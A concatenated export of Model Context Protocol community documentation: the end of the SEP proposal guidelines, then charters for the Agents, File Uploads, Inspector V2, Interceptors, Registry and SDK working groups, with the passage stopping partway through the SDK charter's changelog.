1. Updates the `Status` field directly in the SEP markdown file (or, if they do not have access to the source repo, work with the author to set the right status)
2. Applies matching labels to the pull request (e.g., `draft`, `in-review`, `accepted`)
Both the markdown status field and PR labels should be kept in sync. The markdown file is the canonical record (versioned with the proposal), while PR labels make it easy to filter and search.
## SEP Review & Resolution
SEPs are reviewed by the MCP Core Maintainers team every two weeks.
For a SEP to be accepted it must meet these criteria:
* A prototype implementation demonstrating the proposal
* Clear benefit to the MCP ecosystem
* Community support and consensus
Once a SEP has been accepted, the reference implementation must be completed. When complete and incorporated into the main repository, the status changes to "Final".
## Conformance Test Requirement
For **Standards Track SEPs** that introduce or modify observable protocol behavior, a conformance scenario must be merged into the [conformance repository](https://github.com/modelcontextprotocol/conformance) before the SEP can reach `Final` status.
**What's required:**
* A conformance scenario tagged with the SEP number, targeting the conformance repository's draft spec-version tag
* A structured traceability file (`sep-NNNN.yaml`) mapping each MUST/MUST NOT and SHOULD/SHOULD NOT in the SEP's Specification section to either a check ID or a documented exclusion (with a tracking issue if it's a framework gap)
* The scenario passes against the SEP's reference implementation
**What's exempt:**
* Process and Informational SEPs
* Standards Track SEPs with no observable protocol behavior (documentation clarifications, non-validating schema annotations, implementation-hardening recommendations)
**Who does what:**
* The **sponsor** ensures a conformance scenario is written and verifies the traceability file covers every MUST/MUST NOT and SHOULD/SHOULD NOT in the SEP
* The **conformance repository maintainers** review the scenario PR for technical correctness
* The test **author** can be anyone: the SEP author, an SDK maintainer, a community contributor
Writing a conformance scenario during SEP drafting (before Core Maintainer review) is encouraged but not required, since it often surfaces ambiguities in normative language that are cheaper to fix early.
See [SEP-2484](/seps/2484-conformance-tests-required-for-final-seps) for the full specification including the traceability file format and dispute process.
## After Rejection
Rejection is not permanent. You can:
1. **Address the feedback** - If specific concerns were raised, address them and resubmit
2. **Discuss the rejection** - Ask in Discord to understand the reasoning
3. **Submit a competing SEP** - Sometimes a different approach works better
4. **Wait for the right time** - Community needs evolve; what's rejected today may be welcomed later
## Reporting SEP Bugs or Updates
For SEPs not yet reaching `final` state, comment directly on the SEP's pull request.
Final SEPs are preserved as historical records of the design as accepted. They are not updated after finalization. If the specification changes after a SEP reaches Final status, the current specification is authoritative. Each Final SEP page displays a notice to this effect.
## Transferring SEP Ownership
It occasionally becomes necessary to transfer ownership of SEPs to a new author. In general, we'd like to retain the original author as a co-author, but that's up to the original author.
Good reasons to transfer ownership:
* Original author no longer has time or interest
* Original author is unreachable
Bad reasons:
* You disagree with the direction (submit a competing SEP instead)
## Copyright
This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive.
# Agents Charter
Source: https://modelcontextprotocol.io/community/working-groups/agents
Charter for the MCP Agents Working Group.
## Group Type
**Working Group**
## Mission Statement
The Agents Working Group exists to make interactions with agent-backed systems
interoperable over MCP. Today, these systems are typically exposed as ordinary
tools or through framework-specific integrations, leaving durable execution,
capability discovery, delegation, and multi-turn interaction to ad hoc conventions.
The WG stewards Tasks as MCP's foundation for durable asynchronous execution and
evaluates which remaining gaps require protocol support. Based on production use
cases and prototypes, the group will either evolve Tasks, introduce an Agents
Extension that complements it, or document how existing MCP primitives should be
used consistently.
## Scope
### In Scope
* **Tasks**: Stabilization of the
[`io.modelcontextprotocol/tasks`](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2663)
extension and its promotion into the core MCP protocol, including collecting
implementation feedback, resolving ambiguities, and evaluating proposed changes
to its lifecycle.
* **Agents Extension Evaluation**: Evaluate agent-backed MCP use cases, including
agent-as-tool, remote-agent, and supervisor/sub-agent patterns, to determine
whether an Agents Extension is needed to complement Tasks.
* **Prototypes and Proposals**: Develop narrowly scoped proofs of concept where they
help determine whether to introduce an Agents Extension, evolve Tasks, or rely on
existing MCP primitives.
* **Implementation Coordination**: Coordinate with SDK and conformance maintainers
on implementation feedback, examples, and coverage for specifications owned by
the group.
* **Cross-Cutting Concerns**: Coordinate with relevant groups when Tasks or
evaluated agent use cases raise transport, events, skills, authorization,
metadata, or external-interoperability questions.
* **Documentation**: Maintain the Tasks specification and document agent-backed MCP
use cases, findings, and any proposals adopted by the group.
### Out of Scope
* Building or standardizing general-purpose agent frameworks and runtimes, including
internal choices about planning, memory, model selection, and orchestration. The
group standardizes behavior at MCP interoperability boundaries rather than host or
server implementation internals.
* Transport wire formats and session mechanics, which are owned by the Transports WG.
* General event delivery and callback mechanisms, which are owned by the Triggers and
Events WG.
The charter does not predetermine where inference or agent loops run, or whether a
particular capability belongs in Tasks, an Agents Extension, or existing MCP
primitives. The WG evaluates those questions through its design work.
### Related Groups
* **[Transports WG](https://github.com/modelcontextprotocol/transports-wg)** -
Task polling, multi-round-trip requests, stateless operation, and request
association depend on transport and message-flow semantics.
* **[Triggers and Events WG](/community/working-groups/triggers-events)** -
Proactive task-status and completion notifications are event-delivery concerns
owned by that group.
## Leadership
| Role | Name | Organization | GitHub | Term |
| ---- | ---------------- | ------------------- | -------------------------------------------------- | ------- |
| Lead | Luca Chang | Amazon Web Services | [@LucaButBoring](https://github.com/LucaButBoring) | Initial |
| Lead | Caitie McCaffrey | Microsoft | [@CaitieM20](https://github.com/CaitieM20) | Initial |
## Authority & Decision Rights
| Decision Type | Authority Level |
| ----------------------------------- | ------------------------------------------------------ |
| Meeting logistics & scheduling | WG Leads (autonomous) |
| Proposal prioritization within WG | WG Leads (autonomous) |
| SEP triage & closure (in scope) | WG Leads (autonomous, with documented rationale) |
| Technical design within scope | WG consensus |
| Spec changes (additive) | WG consensus → Core Maintainer approval |
| Spec changes (breaking/fundamental) | WG consensus → Core Maintainer approval + wider review |
| Scope expansion | Core Maintainer approval required |
| WG Member approval | WG Member sponsors |
## Membership
| Name | Organization | GitHub | Discord | Level |
| ---------------- | ------------------- | -------------------------------------------------- | ------- | ----- |
| Luca Chang | Amazon Web Services | [@LucaButBoring](https://github.com/LucaButBoring) | | Lead |
| Caitie McCaffrey | Microsoft | [@CaitieM20](https://github.com/CaitieM20) | | Lead |
## Operations
| Meeting | Frequency | Duration | Purpose |
| --------------- | --------- | ---------- | --------------------------------------------------- |
| Working Session | Weekly | 30 minutes | Technical discussion, research, and proposal review |
Meetings are published at
[meet.modelcontextprotocol.io](https://meet.modelcontextprotocol.io).
Discord: `#agents-wg`
## Resources
* Working group repository:
[modelcontextprotocol/agents-wg](https://github.com/modelcontextprotocol/agents-wg)
* Tasks extension repository:
[modelcontextprotocol/ext-tasks](https://github.com/modelcontextprotocol/ext-tasks)
* Tasks specification:
[SEP-2663: Tasks Extension](/seps/2663-tasks-extension)
## Deliverables & Success Metrics
### Active Work Items
| Item | Status | Target Date | Champion |
| ----------------------------------------------- | ----------- | ----------- | ---------------------------------------------------------------------------------------------- |
| Tasks stabilization and core protocol promotion | In Progress | | [@LucaButBoring](https://github.com/LucaButBoring) |
| Agents Extension evaluation and recommendation | In Progress | | TBD |
| Two-level agent definition proof of concept | In Progress | | [@LucaButBoring](https://github.com/LucaButBoring), [@madhaviai](https://github.com/madhaviai) |
### Success Criteria
* Tasks is fully stabilized based on implementation feedback and promoted from an
extension into the core MCP protocol.
* Lifecycle ambiguities and conformance gaps that block Tasks stabilization are
resolved or explicitly dispositioned.
* The group publishes an evaluation of whether an Agents Extension is needed to
complement Tasks, supported by documented use cases and relevant prototype
evidence.
* Based on that evaluation, the group either evolves Tasks, proposes an Agents
Extension, or documents how existing MCP primitives are sufficient.
* Proposed agent protocol surface is evaluated through prototypes and
implementation feedback before being advanced.
## Changelog
| Date | Change |
| ---------- | --------------- |
| 2026-08-04 | Initial charter |
# File Uploads Charter
Source: https://modelcontextprotocol.io/community/working-groups/file-uploads
Charter for the MCP File Uploads Working Group.
## Group Type
**Working Group**
## Mission Statement
The File Uploads Working Group exists to define how MCP tools and elicitation requests declare file
inputs so that hosts can present native file pickers and pass user-selected file content to servers.
Today, servers that need a file from the user resort to prose instructions asking for base64 strings
or local paths, which produces inconsistent UX and pushes encoding details onto end users. This WG
will specify a minimal, schema-level mechanism for declaring file inputs and the wire format for
delivering them, anchored on [SEP-2356](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2356).
## Scope
### In Scope
* **Specification Work**: SEPs defining declarative file input descriptors on tool input schemas and
elicitation request schemas, the wire encoding for file content, and host-side handling
requirements.
* **Reference Implementations**: SDK types and helpers for `FileInputDescriptor`, data URI encoding,
and a sample host flow demonstrating picker invocation and value substitution.
* **Cross-Cutting Concerns**: Coordination with the MCP Apps WG where embedded UI surfaces present
their own file pickers, and with the Security WG on host-side validation requirements.
* **Documentation**: Specification sections covering file input declaration and a migration guide
for servers currently using ad-hoc base64 instructions.
### Out of Scope
* Server-to-client file delivery, which is already covered by Resources and `BlobResourceContents`.
* Changes to the transport layer or session model.
The WG may evaluate approaches such as streaming, chunked transfer, or presigned upload URLs as part
of its design work; whether those land in the initial SEP or a follow-up is a WG decision rather
than a charter constraint.
### Related Groups
* **MCP Apps WG** — embedded app UIs may surface their own file pickers; the descriptor format
should be reusable in that context.
* **Security WG** — host-side validation requirements for user-supplied file content (the SEP
references [OWASP ASVS V5](https://owasp.org/www-project-application-security-verification-standard/)
for general upload hygiene).
* **Tool Annotations IG** — file input descriptors are a form of input-parameter metadata and should
remain consistent with the broader annotation taxonomy.
## Leadership
| Role | Name | Organization | GitHub | Term |
| ---- | -------------- | ------------ | ---------------------------------------- | ------- |
| Lead | Den Delimarsky | Anthropic | [@localden](https://github.com/localden) | Initial |
Sponsored by Den Delimarsky ([@localden](https://github.com/localden)) and Nick Cooper
([@nickcoai](https://github.com/nickcoai)).
## Authority & Decision Rights
| Decision Type | Authority Level |
| ----------------------------------- | ------------------------------------------------------ |
| Meeting logistics & scheduling | WG Leads (autonomous) |
| Proposal prioritization within WG | WG Leads (autonomous) |
| SEP triage & closure (in scope) | WG Leads (autonomous, with documented rationale) |
| Technical design within scope | WG consensus |
| Spec changes (additive) | WG consensus → Core Maintainer approval |
| Spec changes (breaking/fundamental) | WG consensus → Core Maintainer approval + wider review |
| Scope expansion | Core Maintainer approval required |
| WG Member approval | WG Member sponsors |
## Membership
| Name | Organization | GitHub | Discord | Level |
| -------------- | ------------ | ---------------------------------------- | ------- | --------- |
| Den Delimarsky | Anthropic | [@localden](https://github.com/localden) | | Lead |
| Nick Cooper | OpenAI | [@nickcoai](https://github.com/nickcoai) | | WG Member |
| Olivier Chafik | Anthropic | [@ochafik](https://github.com/ochafik) | | WG Member |
## Operations
| Meeting | Frequency | Duration | Purpose |
| --------------- | --------- | -------- | ------------------------------------- |
| Working Session | Biweekly | 30 min | Technical discussion, proposal review |
Discord: `#file-uploads-wg`
## Deliverables & Success Metrics
### Active Work Items
| Item | Status | Target Date | Champion |
| ----------------------------------------------------------------------------------------------------------- | ------ | ----------- | -------------------------------------- |
| [SEP-2356: Declarative file inputs](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2356) | Draft | End May | [@ochafik](https://github.com/ochafik) |
| TypeScript SDK reference implementation | — | End May | [@ochafik](https://github.com/ochafik) |
| Reference implementation in a second Tier-1 SDK | — | End June | TBD |
### Success Criteria
* An accepted SEP defining the file input descriptor and wire encoding.
* Reference implementations in at least two Tier-1 SDKs.
* At least one production host rendering a native file picker from the descriptor.
* Conformance test coverage for the new schema keyword.
## Changelog
| Date | Change |
| ---------- | --------------- |
| 2026-04-23 | Initial charter |
# Inspector V2 Working Group Charter
Source: https://modelcontextprotocol.io/community/working-groups/inspector-v2
Charter for the Inspector V2 Working Group, a Working Group of the Model Context Protocol community.
## Group Type
Working Group
## Mission Statement
The Inspector V2 Working Group is building Inspector V2, a new web-based MCP inspector redesigned from the ground up for maintainability and reliability. The group delivers a shared Inspector Core architecture that maximizes code reuse across Web, CLI, and TUI implementations, together with a comprehensive testing apparatus. This effort requires cross-maintainer collaboration because it spans UI, protocol tooling, and test infrastructure that no single maintainer owns today.
## Scope
### In Scope
* The `modelcontextprotocol/inspector` repository, including:
* **Inspector Core** — a new shared-code architecture that provides common MCP and protocol interfaces for all Inspector front-ends.
* **Web Inspector UI** — browser-based inspector built on Mantine and TypeScript.
* **CLI Inspector** — command-line interface sharing Inspector Core.
* **TUI Inspector** — terminal UI sharing Inspector Core.
* **Testing apparatus** — shared test harnesses, fixtures, and integration tests across all Inspector surfaces.
* Deprecation and migration of the existing Inspector on `main` to a `v1.x` maintenance branch.
* Adoption of MCP TypeScript SDK V2 inside Inspector Core once available.
### Out of Scope
* The core MCP specification.
* MCP SDK maintenance (TypeScript, Python, or any other language SDK).
* MCP server implementations.
### Related Groups
* **SDK WG** — Inspector Core consumes the TypeScript SDK; coordination required for SDK V2 adoption.
* **MCP Apps WG** — shared surface area around client/app ergonomics and inspection workflows.
* **Auth WG** — authentication flows exercised by Inspector when connecting to protected servers.
* **Registry WG** — discovery and metadata surfaces that Inspector presents to users.
## Leadership
| Role | Name | Organization | GitHub | Term |
| ------- | -------------- | ------------ | ------------------------------------------------ | ------- |
| WG Lead | Cliff Hall | Futurescale | [@cliffhall](https://github.com/cliffhall) | Ongoing |
| WG Lead | Ola Hungerford | Nordstrom | [@olaservo](https://github.com/olaservo) | Ongoing |
| WG Lead | Bob Dickinson | TeamSpark.ai | [@BobDickinson](https://github.com/BobDickinson) | Ongoing |
## Authority & Decision Rights
| Decision Type | Authority Level |
| ----------------------------------- | ------------------------------------------------------ |
| Meeting logistics & scheduling | WG Leads (autonomous) |
| Proposal prioritization within WG | WG Leads (autonomous) |
| SEP triage & closure (in scope) | WG Leads (autonomous, with documented rationale) |
| Technical design within scope | WG consensus |
| Spec changes (additive) | WG consensus → Core Maintainer approval |
| Spec changes (breaking/fundamental) | WG consensus → Core Maintainer approval + wider review |
| Scope expansion | Core Maintainer approval required |
| WG Member approval | WG Member sponsors |
## Membership
| Name | Organization | GitHub | Discord | Level |
| -------------- | ------------ | ------------------------------------------------ | ----------- | ---------- |
| Cliff Hall | Futurescale | [@cliffhall](https://github.com/cliffhall) | seaofarrows | Maintainer |
| Ola Hungerford | Nordstrom | [@olaservo](https://github.com/olaservo) | olaservo | Maintainer |
| Bob Dickinson | TeamSpark.ai | [@BobDickinson](https://github.com/BobDickinson) | rddthree | Maintainer |
| Tobin South | Anthropic | [@tobinsouth](https://github.com/tobinsouth) | tobinsouth | Member |
## Operations
| Meeting | Frequency | Duration | Purpose |
| --------------- | ------------------------------------------ | ---------- | ------------------------------------- |
| Working Session | Weekly, Wednesdays 11:00 America/New\_York | 60 minutes | Technical discussion, proposal review |
Meetings are held at [meet.modelcontextprotocol.io/tag/inspector-v2-wg](https://meet.modelcontextprotocol.io/tag/inspector-v2-wg). Agendas are posted at least 7 days in advance per current MCP meeting policy. Meeting notes are published to the [Meeting Notes — Inspector V2 WG](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/categories/meeting-notes-inspector-v2-wg) discussion category in the `modelcontextprotocol/modelcontextprotocol` repository.
**Communication channels**
* Primary channel: `#inspector-v2-wg` on the MCP Discord.
* Async discussion: GitHub Discussions in `modelcontextprotocol/inspector`.
* Quarterly updates: posted to the WG's GitHub Discussions category.
## Deliverables & Success Metrics
### Active Work Items
| Work Item | Status | Owner(s) |
| --------------------------------------------------------------------------------------- | ---------------------------- | -------------------------- |
| Web Inspector UI (Mantine / TypeScript) — dumb components with real MCP/Core interfaces | In Progress | Cliff Hall, Ola Hungerford |
| Inspector Core shared-code architecture | In Progress | Bob Dickinson |
| CLI Inspector and TUI Inspector | In Progress | Bob Dickinson |
| Migration of existing Inspector on `main` to `v1.x` maintenance branch | Planning | WG Leads |
| Testing apparatus across Core, Web, CLI, and TUI | Planning | WG Leads |
| Inspector Core adoption of MCP TypeScript SDK V2 | Blocked (gated by TS SDK WG) | Bob Dickinson |
### Success Criteria
1. **End of Q1** — Web UI complete with "dumb" components wired to real MCP/Inspector Core interfaces.
2. **End of Q1** — Inspector Core architecture finalized.
3. **End of Q2** — Inspector Core merged to `v2/main` and working end-to-end with the Web UI.
4. **End of Q2** — CLI and TUI Inspectors merged to `v2/main` and working end-to-end with Inspector Core.
5. **End of Q2** — Existing Inspector on `main` moved to the `v1.x` branch and officially deprecated.
6. **End of Q2** — New Inspector family (Web, CLI, TUI) published and generally available.
7. **End of Q3** — Inspector Core running on MCP TypeScript SDK V2 (gated by the TypeScript SDK WG's delivery schedule).
## Changelog
| Date | Change | Author |
| ---------- | ------------------------------------------------ | -------------------- |
| 2026-04-11 | Initial charter adopted for SEP-2149 compliance. | Cliff Hall (Co-Lead) |
# Interceptors Charter
Source: https://modelcontextprotocol.io/community/working-groups/interceptors
Charter for the MCP Interceptors Working Group.
## Group Type
**Working Group**
## Mission Statement
The Interceptors Working Group exists to standardize how context operations are intercepted, validated, and transformed at key points in the agentic lifecycle. This covers MCP-defined operations such as tool invocations, resource access, prompt handling, sampling, and elicitation, as well as any other operation that shapes agent context — including LLM completions and custom application-specific workflows. The ecosystem is developing a sprawling landscape of sidecars, proxies, and gateways for cross-cutting concerns that are largely non-reusable and non-interoperable, creating an M × N integration problem. The WG will produce specification extensions and reference implementations that define interceptors as a new MCP primitive with two types — validators (inspect and return pass/fail decisions) and mutators (transform context payloads) — discoverable and invocable through MCP's existing JSON-RPC patterns across deployment models including in-process, sidecar, and remote service.
## Scope
### In Scope
* **Specification Work**: SEPs defining the interceptor primitive — validator and mutator types, lifecycle event hooks for MCP operations (tool calls, resource reads, prompt gets, sampling, elicitation) and extensible to non-MCP context operations (LLM completions, custom workflows), trust-boundary-aware execution model, priority-based chain ordering, and audit mode semantics.
* **Reference Implementations**: Multi-language SDK libraries for building interceptors, sample interceptors (PII redaction, schema validation, audit logging), a common interceptor sidecar/proxy runtime, and a CLI client for interceptor invocation and testing.
* **Cross-Cutting Concerns**: Transport-level interception points, gateway-based deployment patterns, and interplay with routing and policy layers (see Related Groups).
* **Documentation**: Specification sections covering interceptor authoring, deployment models (in-process, sidecar, remote service), chain configuration, and migration guidance from ad-hoc middleware approaches.
### Out of Scope
* Client-specific hook implementation details (e.g., Claude Code's internal hook execution engine) — the WG standardizes the protocol-level interface, not host internals.
* Transport-layer wire format or session model changes (owned by the Transports WG).
* General-purpose middleware or proxy infrastructure beyond what the MCP protocol requires.
### Related Groups
* **Transports WG** — interceptors operate on MCP message flows whose delivery behavior depends on the transport; coordination needed on transport-level interception points.
* **Gateways IG** — gateways are a key deployment model for interceptors; coordination needed on gateway-based interceptor patterns and shared concerns around routing, policy, and observability.
## Leadership
| Role | Name | Organization | GitHub | Term |
| ---- | ------------------------ | ------------ | -------------------------------------------- | ------- |
| Lead | Sambhav Kothari | Bloomberg | [@sambhav](https://github.com/sambhav) | Initial |
| Lead | Peder Holdgaard Pedersen | Saxo Bank | [@PederHP](https://github.com/PederHP) | Initial |
| Lead | Kurt Degiorgio | Bloomberg | [@degiorgio](https://github.com/degiorgio) | Initial |
| Lead | Uk-Jae Jeong | Bloomberg | [@jeongukjae](https://github.com/jeongukjae) | Initial |
| Lead | Ola Hungerford | Nordstrom | [@olaservo](https://github.com/olaservo) | Initial |
## Authority & Decision Rights
| Decision Type | Authority Level |
| ----------------------------------- | ------------------------------------------------------ |
| Meeting logistics & scheduling | WG Leads (autonomous) |
| Proposal prioritization within WG | WG Leads (autonomous) |
| SEP triage & closure (in scope) | WG Leads (autonomous, with documented rationale) |
| Technical design within scope | WG consensus |
| Spec changes (additive) | WG consensus → Core Maintainer approval |
| Spec changes (breaking/fundamental) | WG consensus → Core Maintainer approval + wider review |
| Scope expansion | Core Maintainer approval required |
| WG Member approval | WG Member sponsors |
## Operations
| Meeting | Frequency | Duration | Purpose |
| --------------- | --------- | ---------- | ------------------------------------- |
| Working Session | Biweekly | 60 minutes | Technical discussion, proposal review |
## Resources
* Experimental extension repository: [modelcontextprotocol/experimental-ext-interceptors](https://github.com/modelcontextprotocol/experimental-ext-interceptors)
* Motivation: [SEP-1763](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1763)
## Deliverables & Success Metrics
### Active Work Items
| Item | Status | Target Date | Champion |
| --------------------------------------------------------------------- | ----------- | ----------- | -------- |
| SEP-1763: Interceptors | Draft | | TBD |
| Sample interceptors (PII redaction, schema validation, audit logging) | In Progress | | TBD |
| Common interceptor sidecar runtime | Ideating | | TBD |
| CLI client for interceptor invocation and testing | Ideating | | TBD |
| Reference implementation in Go SDK | In Progress | | TBD |
| Reference implementation in C# SDK | In Progress | | TBD |
### Success Criteria
* An accepted SEP defining the interceptor primitive (validators, mutators), lifecycle event hooks, and trust-boundary-aware chain execution.
* Reference implementations in at least two Tier-1 SDKs (Go, C#).
* A common interceptor sidecar runtime enabling platform teams to deploy interceptors without modifying individual MCP servers.
* CLI tooling for interceptor invocation and testing.
* Demonstrated interoperability across deployment models (in-process, sidecar, remote service).
## Changelog
| Date | Change |
| ---------- | --------------- |
| 2026-04-21 | Initial charter |
# Registry Charter
Source: https://modelcontextprotocol.io/community/working-groups/registry
Charter for the MCP Registry Working Group.
## Group Type
**Working Group**
## Mission Statement
The Registry Working Group exists to build and maintain the official MCP Registry — an open catalog and API for publicly available MCP servers — so that clients, sub-registries, and end users can discover, evaluate, and install servers with confidence. The WG owns the registry service, the `server.json` schema, the registry API specification, and the sub-registry ecosystem that further distributes server metadata.
## Scope
### In Scope
* **Registry Service**: Operation, reliability, and evolution of the hosted registry at `registry.modelcontextprotocol.io`, including uptime, monitoring, and incident response.
* **Registry API Specification**: The OpenAPI spec defining how any registry (official or private) exposes server metadata.
* **`server.json` Schema**: The standardized format for describing MCP server identity, packages, runtime configuration, and capabilities — coordinated with the Server Card WG to keep Server Card a coherent subset.
* **Client SDKs**: Generated or hand-maintained client libraries that make it easy for clients and sub-registries to integrate with the registry API.
* **Publishing & Trust**: Authentication flows (GitHub OAuth, GitHub OIDC, DNS/HTTP verification), namespace ownership, moderation tooling, and community-driven flagging.
* **Adoption & Outreach**: Documentation, onboarding guides, and outreach to drive catalog coverage.
* **Issue Triage & Automation**: Labeling system, triage, and contributor workflow for the registry repo.
### Out of Scope
* Any runtime-related MCP protocol specification aspects (owned by Core Maintainers and other WGs).
* Server Card format and discovery mechanism (owned by the Server Card WG; this WG coordinates on `server.json` alignment).
* Ranking/choosing between MCP server implementations on behalf of MCP clients or end-users.
* Hosting, distributing, or executing MCP server code or binaries — the registry is a metadata catalog, not a package registry.
* Any commitment to delivering an enterprise-ready or reusable registry implementation. The codebase supports this instance only and is not intended for external deployments.
### Related Groups
* **Server Card WG** — `server.json` and Server Card must stay aligned; the registry will expose Server Cards + local package-related metadata for published entries. Tight coordination required to avoid schema divergence.
## Leadership
| Role | Name | Organization | GitHub | Term |
| ---- | ----------------- | ------------ | ------------------------------------------ | ------- |
| Lead | Radoslav Dimitrov | Stacklok | [@rdimitrov](https://github.com/rdimitrov) | Initial |
## Authority & Decision Rights
| Decision Type | Authority Level |
| ----------------------------------- | ------------------------------------------------------ |
| Meeting logistics & scheduling | WG Leads (autonomous) |
| Proposal prioritization within WG | WG Leads (autonomous) |
| SEP triage & closure (in scope) | WG Leads (autonomous, with documented rationale) |
| Technical design within scope | WG consensus |
| Spec changes (additive) | WG consensus → Core Maintainer approval |
| Spec changes (breaking/fundamental) | WG consensus → Core Maintainer approval + wider review |
| Scope expansion | Core Maintainer approval required |
| WG Member approval | WG Member sponsors |
## Membership
| Name | Organization | GitHub | Discord | Level | Maintainer? |
| ------------------ | ------------ | ------------------------------------------------ | ---------- | --------- | ----------- |
| Radoslav Dimitrov | Stacklok | [@rdimitrov](https://github.com/rdimitrov) | dimitrovr | Lead | Yes |
| Tadas Antanavicius | PulseMCP | [@tadasant](https://github.com/tadasant) | tadasant\_ | WG Member | Yes |
| Bob Dickinson | TeamSpark | [@BobDickinson](https://github.com/BobDickinson) | rddthree | WG Member | Yes |
| Preeti Dewani | Ravenmail | [@pree-dew](https://github.com/pree-dew) | pree\_dew | WG Member | No |
## Emeritus Membership
| Name | Organization | GitHub | Discord | Level | Maintainer? |
| ------------ | ------------ | ------------------------------------------ | --------- | --------- | ----------- |
| Adam Jones | Anthropic | [@domdomegg](https://github.com/domdomegg) | domdomegg | WG Member | Yes |
| Toby Padilla | GitHub | [@toby](https://github.com/toby) | | WG Member | Yes |
## Operations
| Meeting | Frequency | Duration | Purpose |
| --------------- | --------- | -------- | ------------------------------------------------- |
| Working Session | Weekly | 30 min | Technical discussion, triage, and proposal review |
Discord: `#registry-dev`
## Resources
* Registry service repository: [modelcontextprotocol/registry](https://github.com/modelcontextprotocol/registry)
## Deliverables & Success Metrics
### Active Work Items
| Item | Status | Target Date | Champion |
| --------------------------------------------------------------------- | ----------- | ----------- | ---------------------------------------- |
| Server Card / `server.json` alignment | In Progress | Q2 2026 | [@tadasant](https://github.com/tadasant) |
| Uptime & monitoring automation | Planned | Q2 2026 | TBD |
| Issue triage automation & labeling system | Planned | Q2 2026 | TBD |
| Adoption outreach to popular server maintainers | Ideating | Q3 2026 | TBD |
| Cataloging specification support by clients and sub-registry products | Ideating | Q3 2026 | TBD |
| Client SDK generation / publication | Ideating | Q3 2026 | TBD |
| Registry API v1 GA | Ideating | TBD | TBD |
### Success Criteria
* Registry uptime ≥ 99.9% with automated monitoring and alerting.
* `server.json` schema and Server Card format aligned with no unintentional divergence.
* Majority of popular, publicly available MCP servers published to the registry.
* At least one client SDK (generated or maintained) available for registry consumers.
* Registry API v1 specification finalized and stable.
* Active sub-registry ecosystem consuming the official registry API.
## Changelog
| Date | Change |
| ---------- | ------------------------------------------------------------------------------------------- |
| 2026-07-30 | @tadasant stepped down as Lead; @rdimitrov is now sole Lead (@tadasant remains a WG Member) |
| 2026-04-08 | Initial charter |
# SDK Working Group Charter
Source: https://modelcontextprotocol.io/community/working-groups/sdk
Charter for the MCP SDK Working Group.
## Group Type
**Working Group**
## Mission Statement
The SDK Working Group exists to keep the official MCP SDKs consistent, conformant, and current with the specification. It coordinates implementation of new protocol versions across languages, governs the [SDK Tiering System](/community/sdk-tiers), and establishes shared design patterns where sensible, so that developers get a coherent experience across SDKs while each remains idiomatic to its language.
## Scope
### In Scope
* **SDK Tiering**: Operating the [SDK Tiering System](/community/sdk-tiers), including reviewing tier advancement requests, applying relegation criteria, and maintaining the published tier assignments.
* **Official SDK Roster**: Evaluating proposals to add new official SDKs or retire existing ones.
* **Release Coordination**: Aligning Tier-1 SDK release plans with specification version dates so that protocol features land in SDKs on the timelines their tier requires.
* **Cross-SDK Design Guidance**: Recommending common patterns for SDK API surface, versioning, deprecation, error handling, and extension packaging, so that SDKs remain recognisably similar across languages while staying idiomatic.
* **Conformance Integration**: Working with the Conformance Testing project to ensure each official SDK runs the conformance suite and publishes results.
* **Maintainer Coordination**: Providing a forum for per-language SDK maintainers to share implementation experience and surface specification ambiguities back to Core Maintainers.
### Out of Scope
* **Per-SDK day-to-day maintenance**: Issue triage, PR review, and releases for an individual SDK remain the responsibility of that SDK's maintainers as listed in [MAINTAINERS.md](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/MAINTAINERS.md).
* **Specification authorship**: Protocol changes are proposed through the [SEP process](/community/sep-guidelines) and owned by the relevant working group or Core Maintainers. The SDK WG implements accepted SEPs; it does not own spec sections.
* **Conformance test authoring**: The conformance test suite itself is owned by the [Conformance Testing](https://github.com/modelcontextprotocol/conformance) project.
* **Third-party and community SDKs**: SDKs outside the [modelcontextprotocol](https://github.com/modelcontextprotocol) organization are not governed by this group.
### Related Groups
* **Transports WG**: Transport implementations are a substantial part of every SDK. The SDK WG coordinates with the Transports WG on rollout sequencing when transport SEPs land.
* **Conformance Testing**: Tier assignments depend on conformance scores. The SDK WG consumes conformance results and feeds back gaps in test coverage.
* **All specification-producing WGs**: The SDK WG is a downstream consumer of accepted SEPs and coordinates reference-implementation timing with the originating group.
## Leadership
| Role | Name | Organization | GitHub | Term |
| ---- | ---------------- | ------------ | ------------------------------------------------------ | ------- |
| Lead | Felix Weinberger | Anthropic | [@felixweinberger](https://github.com/felixweinberger) | Ongoing |
## Authority & Decision Rights
| Decision Type | Authority Level |
| ---------------------------------------- | ---------------------------------------------- |
| Meeting logistics & scheduling | WG Leads (autonomous) |
| Proposal prioritization within WG | WG Leads (autonomous) |
| SDK tier advancement or relegation | WG consensus |
| Cross-SDK design guidance | WG consensus (advisory to per-SDK maintainers) |
| Per-SDK releases, versioning, API design | That SDK's maintainers (autonomous) |
| Adding or retiring an official SDK | WG consensus → Core Maintainer approval |
| Changes to the tiering criteria | WG consensus → Core Maintainer approval |
| Scope expansion | Core Maintainer approval required |
| WG Member approval | WG Member sponsors |
## Membership
WG Members are the maintainers of each official SDK as recorded in [MAINTAINERS.md](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/MAINTAINERS.md) and the corresponding roles in [modelcontextprotocol/access](https://github.com/modelcontextprotocol/access). Maintainers of any official SDK are WG Members by default.
## Operations
| Meeting | Frequency | Duration | Purpose |
| --------------- | --------- | -------- | ---------------------------------------------------- |
| Working Session | Biweekly | 45 min | Release coordination, tier reviews, cross-SDK design |
Communication happens in the `#general-sdk-dev` Discord channel and the SDK Working Group category in [GitHub Discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions).
## Deliverables & Success Metrics
### Active Work Items
| Item | Status | Target Date | Champion |
| --------------------------------------------------- | ----------- | ----------- | ------------------- |
| 2026-06-30 spec support across Tier-1 SDKs | Planning | 2026 Q3 | Per-SDK maintainers |
| Cross-SDK guidance for stateless transport adoption | In progress | 2026 Q2 | WG Leads |
| Quarterly tier review | Recurring | Quarterly | WG Leads |
### Success Criteria
* All official SDKs have a published tier and a passing conformance run on their default branch.
* Tier-1 SDKs ship support for each released specification version within the timeline their tier requires.
* Tier advancement and relegation decisions are recorded with rationale in GitHub Discussions.
## Changelog
| Date | Change |
| ---------- | --------------- |
